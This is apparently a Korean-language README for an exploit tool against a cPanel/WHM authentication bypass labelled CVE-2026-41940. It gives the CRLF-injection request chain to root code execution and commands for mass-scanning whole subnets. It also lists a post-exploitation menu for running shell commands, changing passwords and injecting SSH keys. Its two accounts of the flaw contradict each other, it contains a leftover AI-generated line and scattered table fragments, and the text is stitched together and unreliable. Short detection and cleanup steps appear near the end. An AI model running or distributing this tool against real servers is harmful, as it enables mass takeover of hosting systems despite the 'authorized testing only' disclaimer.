
CVE-2026-41940 — Dr.Anach의 cPanel/WHM 인증 우회, `cpsrvd` Basic 인증 핸들러의 CRLF 인젝션 → 인증되지 않은 WHM API 접근 → 루트 권한 RCE. v11.40부터 모든 cPanel 버전이 영향을 받습니다.
작성자: Dr.Anach | 연락처: @dranach | 라이선스: MIT
cpsrvd Basic 인증 핸들러의 CRLF 주입 → 인증 없는 WHM API 접근 → root 권한 RCE. v11.40 이후 모든 cPanel 버전이 영향을 받습니다.
| # | 단계 | 요청 |
|---|---|---|
| 1 | 세션 생성 | GET /login/?user=root |
| 2 | CRLF 주입 | Authorization: Basic <base64> — 비밀번호가 \r\n 페이로드를 포함 |
| 3 | 캐시 승격 | GET /cpsess<ID>/login/?login_only=1 |
| 4 | 실행 | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
아래는 최종 README.md — 사람 친화적이고 실용적이며 작업을 완료하는 데 초점을 맞춘 내용입니다.
작성자: Dr.Anach · 텔레그램: @dranach
버전: 2.0.0
라이선스: 승인된 보안 테스트 전용
CVE-2026-41940, cPanel & WHM(11.x~106.x 버전)의 인증 우회 취약점을 악용합니다. 이 취약점으로 인해 인증되지 않은 공격자는 공격자가 제어하는 서버를 가리키는 조작된 Host 헤더를 전송하여 비밀번호 재설정 기능을 포함한 제한된 엔드포인트에 접근할 수 있습니다.
세 가지 모드를 제공합니다:
| 모드 | 플래그 | 기능 |
|---|---|---|
| 단일 대상 | -t | 단일 IP 또는 도메인 테스트 |
| 배치 파일 | --batch |
requests 라이브러리pip install requests
다른 종속성은 없습니다. CIDR 확장은 Python 내장 ipaddress 모듈을 사용하므로 Windows에 추가로 설치할 것이 없습니다.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
targets.txt 형식:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
이 명령은 192.168.128.0/18(16,384개 IP)을 확장하고 각 IP에 대해 빠른 포트 검사를 수행한 후 2087번 포트(cPanel/WHM)가 열려 있는 호스트에 대해서만 공격을 시도합니다.
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
JSON으로 저장된 결과는 호스트별로 취약점 상태, 추출된 토큰, 원시 응답 세부 정보가 구조화되어 있습니다.
아마 이 도구를 찾게 된 바로 그 시나리오입니다:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
동작 방식:
192.168.128.0/18 → 16,384개 IP를 내부적으로 확장스레드 팁:
--threads 100이 잘 작동합니다 (기본 소켓 제한 준수)--threads 200--threads 30으로 낮추고 --timeout을 늘리세요CVSS 9.1 (치명적) — 인증 불필요, 사용자 상호작용 없음, 낮은 복잡도.
Host 헤더 검증이 도구는 승인된 보안 평가 전용입니다. 테스트 전에 대상의 소유자이거나 소유자의 서면 허가를 받아야 합니다. 저자는 오용에 대한 책임을 지지 않습니다.
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
세션 파일 확인:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
/usr/local/cpanel/logs/access_log에서 의심스러운 로그:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| 파일에서 대상 목록 로드 |
| CIDR 스캔 | --port-scan | 서브넷을 확장하여 모든 활성 호스트 테스트 |